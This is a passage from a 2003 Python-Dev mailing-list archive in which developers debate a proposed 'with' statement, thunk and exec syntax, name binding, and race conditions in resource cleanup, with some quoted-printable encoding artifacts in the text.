I'd like to see = __except__ integrated into the semantics you describe, and then with that as a = basis I's like to see definitions of retry() and skip_on(). The idea looks interesting, but I'd like to see concrete code. > > yields already can't go in blocks with finally statements, right? >=20 > right.=20 >=20 > > Would you propose calling the __enter__ method each time the = generator > > resumed? >=20 > yes, neccessary for locking (as the above example tried to indicate). But not for files. It's arguable that you need __enter__, __exit__, = __yield__, and __resume__ hooks for full generality. On the other hand, YAGNI makes more sense to me... > > > If there is interest i can probably modify my patch=20 > > > to allow all of the proposed syntax so that you could=20 > > > play around with it. =20 Working code for *any* of these ideas could only be a good thing. User code which benefits from the new features is also good. The = auto-closing file example has been worked to death, and its main effect for me so far = has been to make me wonder whether we need *any* of these mechanisms :-) The = lock example is better, but still pretty borderline. I'd really, really like = to see a substantial, non-toy use case. Actually, my main experience is C/C++ based, where blocks with many = memory allocations and the occasional open file is the canonical example. = Freeing and closing in reverse order, under all error conditions, is a *pain*. But = for this, the C++ "resource acquisition is initialisation" idiom works brilliantly. It's a shame it can't be made to work in Python. Paul. From Jack.Jansen@cwi.nl Tue Feb 4 13:37:56 2003 From: Jack.Jansen@cwi.nl (Jack Jansen) Date: Tue, 4 Feb 2003 14:37:56 +0100 Subject: [Python-Dev] exec/with thunk-handling proposal In-Reply-To: <20030204125407.R5939@prim.han.de> Message-ID: On Tuesday, Feb 4, 2003, at 12:54 Europe/Amsterdam, holger krekel wrote: >>> exec expr [with params]: suite >> >> Gut reaction: ugh! > > then i guess you rather prefer new keywords. I thought that there > is a general reluctance to introduce new keywords *and* many > people dislike 'exec' for its existence. I agree with Michael's "Ugh!". And actually I extend the "Ugh!" to Guido's proposal of "expr [= expr] [lambda]: suite". While I think that the reluctance to introduce new keywords is a good thing in principle it shouldn't go at the expense of the clarity of the language. In other words, if there is a clear construct that doesn't require a new keyword (cf. import as) that is a good thing, but if the clarity of Python would be compromised then I think we should bite the bullet and add a new keyword. We should think of people who come fresh to Python in three years time. What "if" does and what the parameters are is immediately clear. Same for "for". Same for "class", "def", assignments and what-have-you. And then suddenly they come across foo(): ... or exec foo(): ... The only construct I can think of that would give the user an idea of what was happening is "with expr [= expr]". And even that will become ugly once you want to support both thunks with a new scope and parameters, and thunks in the existing scope. Last week I made a suggestion that was completely ignored, so let me try again (i.e. if everyone thinks it's silly please shoot it down in stead of ignoring it:-): how about adding a meta-keyword that would be used to turn an identifier into a keyword. For sake of the example let's use "keyword" as the meta-keyword, although that's a bad choice, probably. Here's how it would be used: if we decide to go with "with" as the thunk-keyword what happens is that in Python 2.4 you would have to type it as keyword(with) expr: suite or, alternatively, do something like "from future import with_keyword". In 2.4, using "with" as an identifier would give a FutureWarning. In Python 2.5 "with" would become a reserved word, but keyword(with) would still continue to work. Whether the latter is for one release (with accompanying FutureWarning) or for all eternity is open to discussion. -- Jack Jansen, , http://www.cwi.nl/~jack If I can't dance I don't want to be part of your revolution -- Emma Goldman From gward@python.net Tue Feb 4 13:58:05 2003 From: gward@python.net (Greg Ward) Date: Tue, 4 Feb 2003 08:58:05 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <20030130195549.45476.qmail@web10305.mail.yahoo.com> References: <20030130195549.45476.qmail@web10305.mail.yahoo.com> Message-ID: <20030204135805.GA790@cthulhu.gerg.ca> On 31 January 2003, Graham Guttocks said: > It would be nice to use Python for more serious projects, but it isn't > fast enough currently. The usual solution is to take the bits that are too slow in Python and recode them in C. This may not be as far-sighted as a spiffy native-code Python compiler, but it's a hell of a lot less work for each individual project. A good middle-ground is to figure out where Python is slow and make it faster. Eg. I recently discovered that certain operations in ZODB -- specifically, converting back and forth between 8-byte strings and 64-bit integers -- are a significant bottleneck. Those operations are currently implemented as tiny Python functions that use the struct module to do most of their work. Through discussion on the zodb-dev@zope.org list, I learned that the struct module has never been heavily optimized (aka "passed through the timbot"). I chose to reimplement those ZODB operations in C, because I wanted maximum bang for my (employer's) buck. But a more far-sighted approach -- ie. something that would benefit more projects for a longer time -- would be to spend some time tightening up the struct module. In all that time, it never once occurred to me that compiling ZODB to machine code was the answer. Dynamic typing is boatloads of fun, but it can really kill performance to do all that work at runtime. Doesn't matter if your runtime is Python bytecode interpreted by a C program or just plain machine code. Unless, of course, you have a super-sophisticated compiler that does ML-style type inference ... but without ML's bondage and discipline. I suspect that compiling Python properly (ie. with real performance gains) would be roughly as difficult as compiling ML -- and, because Python always gives you a way to sneak around whatever informal type safety mechanisms you might use, you wouldn't always benefit from type inference. Greg -- Greg Ward http://www.gerg.ca/ No animals were harmed in transmitting this message. From Paul.Moore@atosorigin.com Tue Feb 4 14:00:47 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Tue, 4 Feb 2003 14:00:47 -0000 Subject: [Python-Dev] With statement Message-ID: <16E1010E4581B049ABC51D4975CEDB886199D5@UKDCX001.uk.int.atosorigin.com> From: Alex Martelli [mailto:aleax@aleax.it] > To put it another way: is the advantage of: >=20 > f =3D open("whatever") > with autoclose(f): > # Use f >=20 > sufficient with respect to the existing alternative: >=20 > f =3D open("whatever") > try: > # Use f > finally: f.close() >=20 > to be worth introducing a new kind of statement? I see 3 lines > (4 if you insist on breaking after "finally:" of course) -- plus the > body "# Use f" of course -- with the existing alternative, versus > two with the new statement. In line-counting terms, you're completely right. The advantage to me is = in terms of readability/maintainability/understandability (where's a = thesaurus when you need one?) and code reuse. Specifically, the try...finally case separates the open from the = cleanup. When reading the code, you need to scan over the "use f" code (which may be = many lines - often enough that visually matching indentation could be an = issue) to see the lifetime of the file object (and check it's correct). Also, by suitable use of class names (that thesaurus again!), you can make the = intent very obvious (autoclose isn't bad, but I suspect in more complex cases = you could do even better). As for code reuse, surely that's obvious? A single autoclose class can = be used throughout an application. It doesn't save much in terms of lines, but = when you decide you want to log file closes (contrived example, I know) = there's just one place to change. And of course, autoclose is the absolute = minimal example, which affects both the code reuse argument (positively) and the lines of code argument (negatively). The with version also avoids the common (at least with me) mistake of try: f =3D open("file") # Use f finally: f.close() > With name binding, >=20 > with f =3D autoclosedfile("whatever"): > # Use f >=20 > we're down to 1, and in this case the advantage strikes me > as substantial. But this uses a different approach entirely. Here, autoclosedfile is a self-managing file subclass, whereas the autoclose() example used an independent manager class. I know the point is subtle to the extent of = being pretty irrelevant when you're looking at file objects, but it may be = major in a serious application. (I'm imagining some form of application server = class, part of a complex application, with significant shutdown requirements. Separation of the shutdown management functionality from the server = class may make good sense. And I hate handwaving arguments like this as much as = anyone else - *please* someone give me a decent use case!!!!!) > It would also be more natural for people who are used to coding = "resource > acquisition is initialization" in C++, since in that case, too, a name = is > always required (whether you use it or not in the following block): >=20 > { =20 > autoclosedfile f("whatever"); > // Use f > } But there are other subtle differences - many resources can be acquired = in the one block, often not at the start of the block either. Whatever way you = play it, "with" is a weak substitute. I'm *so* close to deciding that the with statement isn't worth having... > > If anyone feels a need for more than this, please supply a use case > > - I can't think of anything concrete. Otherwise, this is what I'm > > going to put in the PEP... > > As long as you mention in the PEP the ardent wish of some of us for > name binding within 'with', np -- I can't see any other "use case" for > binding-within-with save for the fact that it seems such a frequent > need, and almost necessary to make 'with' enough of a win to justify > its existence;-). That one is telling :-) I'll certainly include all the options in the = PEP. What really kills it for me is the fact that personally, I like the no-assignment cases for locks: class Lock: # Whatever you need here def __enter__(self): self.acquire() def __exit__(self): self.release() ... Lock GIL ... with GIL: # Do something ... with GIL: # Do something else That to me looks like the canonical use for locking. Unfortunately, = people have made the point that having an *optional* assignment is hard (I'm = not qualified to judge how hard, but I do know that Guido values parser simplicity). Given this, and given that I, personally, find the = difference beteween with f =3D autocloser("file"): ... and f =3D open("file") with autoclose(f): # I still think there's a better name than = autoclose! ... pretty minimal, I'd prefer to go with no assignment over mandatory = assignment. But there's no doubt that a lot of this is opinions rather than hard = fact. Paul. From jepler@unpythonic.net Tue Feb 4 14:01:19 2003 From: jepler@unpythonic.net (Jeff Epler) Date: Tue, 4 Feb 2003 08:01:19 -0600 Subject: [Python-Dev] exec/with thunk-handling proposal In-Reply-To: <16E1010E4581B049ABC51D4975CEDB880113D8CD@UKDCX001.uk.int.atosorigin.com> References: <16E1010E4581B049ABC51D4975CEDB880113D8CD@UKDCX001.uk.int.atosorigin.com> Message-ID: <20030204140118.GB13864@unpythonic.net> On Tue, Feb 04, 2003 at 01:07:37PM -0000, Moore, Paul wrote: > And as far as the local namespace is concerned, consider > > exec something() with f1=12: > suite > # Out of the exec now - what is the value of f1??? > > I assume that the assignment to f1 is still in existence, otherwise you're > inventing a new way of defining a scope. But if the binding to f1 does still > exist, then that looks odd, because "exec ... with f1=12" *reads* as if f1 is > only in scope for the duration of the statement. You seem to lose either > way... But Python already has this "problem": for i in range(5): pass print i (What's more, 'i' will have a different value than 'i' in the "equivalent" C fragment int i; for(i=0; i<5; i++) /*NOTHING*/; printf("%d\n", i); ) But this doesn't seem to bother anybody. Does it? Jeff From pyth@devel.trillke.net Tue Feb 4 14:08:51 2003 From: pyth@devel.trillke.net (holger krekel) Date: Tue, 4 Feb 2003 15:08:51 +0100 Subject: [Python-Dev] exec/with thunk-handling proposal In-Reply-To: ; from Jack.Jansen@cwi.nl on Tue, Feb 04, 2003 at 02:37:56PM +0100 References: <20030204125407.R5939@prim.han.de> Message-ID: <20030204150851.U5939@prim.han.de> Jack Jansen wrote: > > On Tuesday, Feb 4, 2003, at 12:54 Europe/Amsterdam, holger krekel wrote: > > >>> exec expr [with params]: suite > >> > >> Gut reaction: ugh! > > > > then i guess you rather prefer new keywords. I thought that there > > is a general reluctance to introduce new keywords *and* many > > people dislike 'exec' for its existence. > > I agree with Michael's "Ugh!". And actually I extend the "Ugh!" to > Guido's proposal > of "expr [= expr] [lambda]: suite". I am a bit wary about all those syntax details. Actually i try to focus on which events an 'execution monitor' should handle and how it interacts. The problem is that talking about new semantics immeditately brings up the question of syntax and then everybody discusses syntax. > We should think of people who come fresh to Python in three years time. > What "if" does > and what the parameters are is immediately clear. Same for "for". Same > for "class", "def", > assignments and what-have-you. And then suddenly they come across > foo(): > ... > or > exec foo(): Yes, but names are important and exec autoclose with f1=open(inputfn): ... is not that hard to read and understand. I'd even dare to say it's easier than understanding metaclasses :-) Also today 'exec' is hardly ever needed and so reinterpreting it in the long run might be viable. "Oh yes, i forgot to tell, you can also pass it a string or a code object ..." > Last week I made a suggestion that was completely ignored, so let me > try again (i.e. if everyone thinks > it's silly please shoot it down in stead of ignoring it:-): how about > adding a meta-keyword > that would be used to turn an identifier into a keyword. For sake of > the example let's use > "keyword" as the meta-keyword, although that's a bad choice, probably. > Here's how it would be > used: if we decide to go with "with" as the thunk-keyword what happens > is that in Python 2.4 > you would have to type it as > keyword(with) expr: > suite Isn't that a road to macros? :-) I don't know but it sure reduces readability and it looks like cheating. we don't want to introduce new keywords, anyway. To me it is not only a matter of 'syntax' problems or beeing backward-incompatible but the real problem is the number of concepts and constructs you have to remember, to understand, to use and to teach. holger From mwh@python.net Tue Feb 4 14:13:29 2003 From: mwh@python.net (Michael Hudson) Date: Tue, 04 Feb 2003 14:13:29 +0000 Subject: [Python-Dev] With statement In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199D5@UKDCX001.uk.int.atosorigin.com> ("Moore, Paul"'s message of "Tue, 4 Feb 2003 14:00:47 -0000") References: <16E1010E4581B049ABC51D4975CEDB886199D5@UKDCX001.uk.int.atosorigin.com> Message-ID: <2m7kcgp20m.fsf@starship.python.net> "Moore, Paul" writes: > That to me looks like the canonical use for locking. Unfortunately, people > have made the point that having an *optional* assignment is hard (I'm not > qualified to judge how hard, but I do know that Guido values parser > simplicity). Actually, Greg's point that you can sort it out in the compiler is a good one. Cheers, M. -- > say-hi-to-the-flying-pink-elephants-for-me-ly y'rs, No way, the flying pink elephants are carrying MACHINE GUNS! Aiiee!! Time for a kinder, gentler hallucinogen... -- Barry Warsaw & Greg Ward, python-dev From jepler@unpythonic.net Tue Feb 4 14:15:46 2003 From: jepler@unpythonic.net (Jeff Epler) Date: Tue, 4 Feb 2003 08:15:46 -0600 Subject: [Python-Dev] exec/with thunk-handling proposal In-Reply-To: <200302041303.24580.aleax@aleax.it> References: <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <2mlm0wp9ye.fsf@starship.python.net> <20030204125407.R5939@prim.han.de> <200302041303.24580.aleax@aleax.it> Message-ID: <20030204141545.GC13864@unpythonic.net> On Tue, Feb 04, 2003 at 01:03:24PM +0100, Alex Martelli wrote: > On Tuesday 04 February 2003 12:54 pm, holger krekel wrote: > ... > > f1=open(inputfn) > > with autoclose(f1): > > f2 = open(outputfn, 'w') > > with autoclose(f2): > > for line in f1: > > ... > > f2.write(line) > > > > I think there should be a better solution for multiple ressources. > > I agree this is slight too cumbersome, and deeply wish it was > feasible to go with: > > with f1=autoclose(inputfn): > with f2=autoclose(outputfn, 'w'): > for line in f1: > ... > f2.write(line) > > i.e., nested with's would be just fine, IF binding the with'd expression > to a name was allowed as part of the with statement, by whatever sugar. This made me realize something. What happens if some sort of exception is raised between 'f1 = open()' and the start of the block 'with autoclose(f1):'? KeyboardInterrupt could be raised between the statements, for instance. autoclose(f1).__exit__() will never be called now, since autoclose(f1) is never even computed. Even if assignment in the statement is supported ( 'with f1 = autoclose(outputfn, "w")') I don't immediately see what bytecode would be written to make sure that an exception didn't arrive at just the wrong moment, leaving 'with' block incompletely entered but with the file open. Doesn't this concern apply to the common idiom l.acquire() try: pass finally: l.release() too? (most of the 'with' proposals are suggested to be equivalent to a Python program of this structure) The exception could be delivered just before the POP_TOP of the acquire statement, or the SET_LINENO of the try: statement, and things would go south from there. Please let me know what simple fact I'm missing. Jeff From bh@intevation.de Tue Feb 4 14:16:51 2003 From: bh@intevation.de (Bernhard Herzog) Date: 04 Feb 2003 15:16:51 +0100 Subject: [Python-Dev] With statement In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com> References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com> Message-ID: <6qlm0wqgfg.fsf@salmakis.intevation.de> "Moore, Paul" writes: > Alex Martelli suggested transactional processing may be a reasonable use case > for needing exception handling (commit in __exit__ and rollback in __except__) I'm not sure an additional __except__ is really needed even for the transactional use case. It's probably enough to check whether sys.exc_info()[0] is None to figure out whether __exit__ was called because of an exception or a regular way of leaving the block. > but I don't think the gain is worth the extra complexity - I'd say leave this > coded as now with try...except..else. (Alex - care to convince me otherwise?) For me the transactional use quite important too. It's the use case that made me wish for this kind of thing several years ago when I had started to implement undo in Sketch. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From Paul.Moore@atosorigin.com Tue Feb 4 14:29:17 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Tue, 4 Feb 2003 14:29:17 -0000 Subject: [Python-Dev] exec/with thunk-handling proposal Message-ID: <16E1010E4581B049ABC51D4975CEDB880113D8D0@UKDCX001.uk.int.atosorigin.com> From: Jeff Epler [mailto:jepler@unpythonic.net] > This made me realize something. What happens if some sort of > exception is raised between 'f1 =3D open()' and the start of the > block 'with autoclose(f1):'? [...] > Please let me know what simple fact I'm missing. Nothing much, other than the fact that this is an issue with the try...except form as well. Basically, this isn't a problem that the proposal is trying to solve. I'll add a paragraph to the PEP to note this point, though... Paul. From aleax@aleax.it Tue Feb 4 15:05:56 2003 From: aleax@aleax.it (Alex Martelli) Date: Tue, 4 Feb 2003 16:05:56 +0100 Subject: [Python-Dev] With statement In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199D5@UKDCX001.uk.int.atosorigin.com> References: <16E1010E4581B049ABC51D4975CEDB886199D5@UKDCX001.uk.int.atosorigin.com> Message-ID: <200302041605.56522.aleax@aleax.it> On Tuesday 04 February 2003 03:00 pm, Moore, Paul wrote: ... > The with version also avoids the common (at least with me) mistake of > > try: > f = open("file") > # Use f > finally: > f.close() Yes, it IS a common mistake, and well worth avoiding, true. > > With name binding, > > > > with f = autoclosedfile("whatever"): > > # Use f > > > > we're down to 1, and in this case the advantage strikes me > > as substantial. > > But this uses a different approach entirely. Here, autoclosedfile is a > self-managing file subclass, whereas the autoclose() example used an > independent manager class. I know the point is subtle to the extent of Then code it as: with f = autoclosedfile(open("whatever")): and have your "independent manager class", no problem. I'd rather have the imc in question "wrap" the file anyway (delegating to the file object any getattr it doesn't know about), but it's no big deal if you want to do it otherwise, with an explicit f.thefile or whatever. > > It would also be more natural for people who are used to coding "resource > > acquisition is initialization" in C++, since in that case, too, a name is > > always required (whether you use it or not in the following block): > > > > { > > autoclosedfile f("whatever"); > > // Use f > > } > > But there are other subtle differences - many resources can be acquired in > the one block, often not at the start of the block either. Whatever way you > play it, "with" is a weak substitute. C++ doesn't require syntactically explicit nesting of such "blocks" (nor braces for them) but semantically the nesting IS there anyway. E.g.: { oneresource a; fooble(a); anotherone b; grepze(a, b); } if fooble(a) throws (==raises), a's destructor runs but not b's (nor b's constructor). When teaching C++ I always explained this kind of thing as fully equivalent to: { oneresource a; fooble(a); { anotherone b; grepze(a, b); } } and I saw MANY eyes light up in "ah, FINALLY I understand it!" ways when I showed this equivalence. So, I disagree that "with" (WITH binding ability) is a weak substitute -- it's "explicit is better than implicit" in term of "nesting", but that's not necessarily a weakness. WITHOUT binding abilty, then yes, "with" is arguably (I'm not sure...) too weak to be worth having. > What really kills it for me is the fact that personally, I like the > no-assignment cases for locks: But that doesn't work in C++ -- there HAS to be a name binding for a RAI -- and I think that, if the name binding is either forbidden or mandatory (i.e. too hard to make optional), C++ has it right here -- mandatory is better than forbidden. > class Lock: > # Whatever you need here > def __enter__(self): > self.acquire() > def __exit__(self): > self.release() > ... > > Lock GIL meaning GIL = Lock() I guess? Too much C++...;-) > with GIL: > # Do something > > ... > > with GIL: > # Do something else > > That to me looks like the canonical use for locking. Unfortunately, people It is, but the price of writing "with GIL=GIL:" or whatever is pretty minor, and quite comparable to the "canonical use for repetition" of having to bind a name to the for-loop's iteration variable. Alex From Paul.Moore@atosorigin.com Tue Feb 4 15:13:44 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Tue, 4 Feb 2003 15:13:44 -0000 Subject: [Python-Dev] With statement Message-ID: <16E1010E4581B049ABC51D4975CEDB886199D7@UKDCX001.uk.int.atosorigin.com> From: Alex Martelli [mailto:aleax@aleax.it] > if the name binding is either forbidden or mandatory > (i.e. too hard to make optional), C++ has it right > here -- mandatory is better than forbidden. The current proto-PEP (not yet published) still has it forbidden, but optional is noted as a strong contender (especially now that someone pointed out how to make optional work). I'm now happy to go with either optional or forbidden (I'm still not keen on mandatory). If you can convince Michael Hudson to change his view, we'll make it optional... Of course, Guido's opinion trumps everyone else's :-) Paul. From walter@livinglogic.de Tue Feb 4 15:30:47 2003 From: walter@livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=) Date: Tue, 04 Feb 2003 16:30:47 +0100 Subject: [Python-Dev] exec/with thunk-handling proposal In-Reply-To: <20030203140934.D10804@prim.han.de> References: <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <20030203140934.D10804@prim.han.de> Message-ID: <3E3FDCA7.6040107@livinglogic.de> holger krekel wrote: > [...] > I think we can may get away with only a "weak" keyword > and allow the aforementioned encapsulation of execution > events into an object like this: > > exec expr [with params]: suite > > where the expression is evaluated to return a > "thunk" handler with these optional "execution" hooks: > > def __enter__(self): > "before suite start" > > def __except__(self, type, value, tb): > "swallow given exception, reraise if neccessary" > > def __leave__(self): > """upon suite finish (not called if __except__ > exists and an exception happened) > """ Why not simply have one method def __execute__(self, thunk): which gets passed the thunk. This method can do anything it likes before executing the thunk, it can do anything after executing the thunk, and it can implement exception handling: class twice: def __execute__(self, thunk): print "start" try: thunk() print "once" thunk() print "twice" except Exception, exc: print "exception", ext else: print "OK" Then you can do: exec twice(): for i in xrange(10): print i Bye, Walter Dörwald From guido@python.org Tue Feb 4 15:37:26 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 04 Feb 2003 10:37:26 -0500 Subject: [Python-Dev] exec/with thunk-handling proposal In-Reply-To: Your message of "Tue, 04 Feb 2003 14:29:17 GMT." <16E1010E4581B049ABC51D4975CEDB880113D8D0@UKDCX001.uk.int.atosorigin.com> References: <16E1010E4581B049ABC51D4975CEDB880113D8D0@UKDCX001.uk.int.atosorigin.com> Message-ID: <200302041537.h14FbQ424007@odiug.zope.com> > > This made me realize something. What happens if some sort of > > exception is raised between 'f1 = open()' and the start of the > > block 'with autoclose(f1):'? > [...] > > Please let me know what simple fact I'm missing. > > Nothing much, other than the fact that this is an issue with the > try...except form as well. Basically, this isn't a problem that > the proposal is trying to solve. Actually, I care about this race condition, and for certain situations I plan to solve it by implementing a bit of magic in C. --Guido van Rossum (home page: http://www.python.org/~guido/) From pyth@devel.trillke.net Tue Feb 4 15:39:38 2003 From: pyth@devel.trillke.net (holger krekel) Date: Tue, 4 Feb 2003 16:39:38 +0100 Subject: [Python-Dev] exec/with thunk-handling proposal In-Reply-To: <20030204141545.GC13864@unpythonic.net>; from jepler@unpythonic.net on Tue, Feb 04, 2003 at 08:15:46AM -0600 References: <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <2mlm0wp9ye.fsf@starship.python.net> <20030204125407.R5939@prim.han.de> <200302041303.24580.aleax@aleax.it> <20030204141545.GC13864@unpythonic.net> Message-ID: <20030204163938.V5939@prim.han.de> Jeff Epler wrote: > On Tue, Feb 04, 2003 at 01:03:24PM +0100, Alex Martelli wrote: > > On Tuesday 04 February 2003 12:54 pm, holger krekel wrote: > > ... > > > f1=open(inputfn) > > > with autoclose(f1): > > > f2 = open(outputfn, 'w') > > > with autoclose(f2): > > > for line in f1: > > > ... > > > f2.write(line) > > > > > > I think there should be a better solution for multiple ressources. > > > > I agree this is slight too cumbersome, and deeply wish it was > > feasible to go with: > > > > with f1=autoclose(inputfn): > > with f2=autoclose(outputfn, 'w'): > > for line in f1: > > ... > > f2.write(line) > > > > i.e., nested with's would be just fine, IF binding the with'd expression > > to a name was allowed as part of the with statement, by whatever sugar. > > This made me realize something. What happens if some sort of exception > is raised between 'f1 = open()' and the start of the block 'with > autoclose(f1):'? With CPython the file object will be refcount-finalized sooner or later. With JPython there should be a leak. With self.acquire() # KeyBoardInterrupt here try: ... finally: self.release() you can get a deadlock (as you stated). It's just so unlikely that it hardly ever causes problems. You can mask out asynchronous signals if this is really critical. And the unmaskable SIG9 will eventually take care anyway :-) holger From duncan@rcp.co.uk Tue Feb 4 15:53:02 2003 From: duncan@rcp.co.uk (Duncan Booth) Date: Tue, 4 Feb 2003 15:53:02 +0000 Subject: [Python-Dev] With statement References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com> Message-ID: "Moore, Paul" wrote in news:16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.co m: > I'm rapidly tending towards a preference for extreme simplicity in the > with statement. My basic logic is that the C++ idiom for all this is > pretty minimal, and works well (even though C++ has no "finally" > equivalent, so the need is more pressing in C++). Your autoclose example doesn't use __enter__, and your autolock example would work just as well if you moved the __enter__ code into __init__ (although then you couldn't write it the alternative way you suggest). Do you have any good examples that actually require __enter__, or could it be dropped for even more simplicity? -- Duncan Booth duncan@rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From Paul.Moore@atosorigin.com Tue Feb 4 16:03:09 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Tue, 4 Feb 2003 16:03:09 -0000 Subject: [Python-Dev] exec/with thunk-handling proposal Message-ID: <16E1010E4581B049ABC51D4975CEDB886199D9@UKDCX001.uk.int.atosorigin.com> From: Guido van Rossum [mailto:guido@python.org] > > > This made me realize something. What happens if some sort of > > > exception is raised between 'f1 =3D open()' and the start of the > > > block 'with autoclose(f1):'? > > [...] > > > Please let me know what simple fact I'm missing. > >=20 > > Nothing much, other than the fact that this is an issue with the > > try...except form as well. Basically, this isn't a problem that > > the proposal is trying to solve. > > Actually, I care about this race condition, and for certain situations > I plan to solve it by implementing a bit of magic in C. It would be nice if the "with" statement specification could define the equivalent code and then say "but the with statement is immune to race conditions involving exceptions arriving between the start of the execution of the with expression, and the start of the implied try = block". The implementation of the with statement should copy whatever magic you are going to use. Paul. From Paul.Moore@atosorigin.com Tue Feb 4 16:45:28 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Tue, 4 Feb 2003 16:45:28 -0000 Subject: [Python-Dev] With statement Message-ID: <16E1010E4581B049ABC51D4975CEDB880113D8D5@UKDCX001.uk.int.atosorigin.com> From: Duncan Booth [mailto:duncan@rcp.co.uk] > Your autoclose example doesn't use __enter__, and your autolock = example=20 > would work just as well if you moved the __enter__ code into __init__=20 > (although then you couldn't write it the alternative way you suggest). > Do you have any good examples that actually require __enter__, or = could it=20 > be dropped for even more simplicity? My actual preference is for a lock object with enter =3D acquire and leave =3D release. Then, the idiom is with my_lock: # protected code This requires a separate enter hook. Paul. From ark@gmx.net Tue Feb 4 16:45:08 2003 From: ark@gmx.net (Arne Koewing) Date: Tue, 04 Feb 2003 17:45:08 +0100 Subject: [Python-Dev] Re: exec/with thunk-handling proposal References: <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <20030203140934.D10804@prim.han.de> <2mlm0wp9ye.fsf@starship.python.net> <20030204125407.R5939@prim.han.de> Message-ID: <8765s09eqz.fsf@gmx.net> holger krekel writes: >> We need a name for these. I've been using "monitor" for a while, but >> I'm not sure it's that apposite. > > So far i'd liked "execution handler" because 'enter/exit/except' are IMHO > execution events which you can hook into. Do you agree with calling > them 'execution events' or how would you call them? I'm used to call this concept "sentinel" ... From neal@metaslash.com Tue Feb 4 16:57:01 2003 From: neal@metaslash.com (Neal Norwitz) Date: Tue, 04 Feb 2003 11:57:01 -0500 Subject: [Python-Dev] With statement In-Reply-To: <16E1010E4581B049ABC51D4975CEDB880113D8D5@UKDCX001.uk.int.atosorigin.com> References: <16E1010E4581B049ABC51D4975CEDB880113D8D5@UKDCX001.uk.int.atosorigin.com> Message-ID: <20030204165701.GB24222@epoch.metaslash.com> On Tue, Feb 04, 2003 at 04:45:28PM -0000, Moore, Paul wrote: > From: Duncan Booth [mailto:duncan@rcp.co.uk] > > Your autoclose example doesn't use __enter__, and your autolock example > > would work just as well if you moved the __enter__ code into __init__ > > (although then you couldn't write it the alternative way you suggest). > > > Do you have any good examples that actually require __enter__, or could it > > be dropped for even more simplicity? > > My actual preference is for a lock object with enter = acquire and > leave = release. Then, the idiom is > > with my_lock: > # protected code > > This requires a separate enter hook. I agree this code should be preferred. I also think the assignment should be optional. Same idea works for files. with my_file = file(filename): # protected code One thing I'm thinking about is, should there be an except clause? For example, if you want to tell the user writing the file failed, how would you do that? Would the following be decent? with my_file = file(filename): # protected code except: # handle exception Neal From Paul.Moore@atosorigin.com Tue Feb 4 17:02:05 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Tue, 4 Feb 2003 17:02:05 -0000 Subject: [Python-Dev] With statement Message-ID: <16E1010E4581B049ABC51D4975CEDB880113D8D8@UKDCX001.uk.int.atosorigin.com> From: Neal Norwitz [mailto:neal@metaslash.com] > One thing I'm thinking about is, should there be an except clause? > For example, if you want to tell the user writing the file failed, > how would you do that? Would the following be decent? > with my_file =3D file(filename): > # protected code > except: > # handle exception I'd say no. Use either # Protects the cleanup as well try: # You do realise you can't use a raw file object here really? with my_file =3D file(filename): # protected code except: # handle exception or # Just protects the code using the file with my_file =3D file(filename): try: # protected code except: # handle exception The fact that there are 2 options, either of which has arguments in favour, indicates to me that it should be explicit. In any case, with is a form of try ... finally, and that doesn't allow an except clause either. Paul. From duncan@rcp.co.uk Tue Feb 4 17:07:54 2003 From: duncan@rcp.co.uk (Duncan Booth) Date: Tue, 04 Feb 2003 17:07:54 -0000 Subject: [Python-Dev] With statement In-Reply-To: <16E1010E4581B049ABC51D4975CEDB880113D8D5@UKDCX001.uk.int.atosorigin.com> Message-ID: <3E3FF36A.2897.6EF9DD6@localhost> On 4 Feb 2003 at 16:45, Moore, Paul wrote: > My actual preference is for a lock object with enter = acquire and > leave = release. Then, the idiom is > > with my_lock: > # protected code > > This requires a separate enter hook. As opposed to: with lock(my_lock): # protected code which wouldn't. I prefer the second, but I'm not entirely sure why. I think, maybe, it's because the parentheses in the second one tell me we are actually doing something, whereas the first one looks like a variable access which is the one thing that can't actually have side effects. It's probably just that I've been playing with C# too much recently (where the 'using' statement requires you to create an object). :-( -- Duncan Booth duncan@dales.rmplc.co.uk int month(char *p){return(124864/((p[0]+p[1]- p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? http://dales.rmplc.co.uk/Duncan From 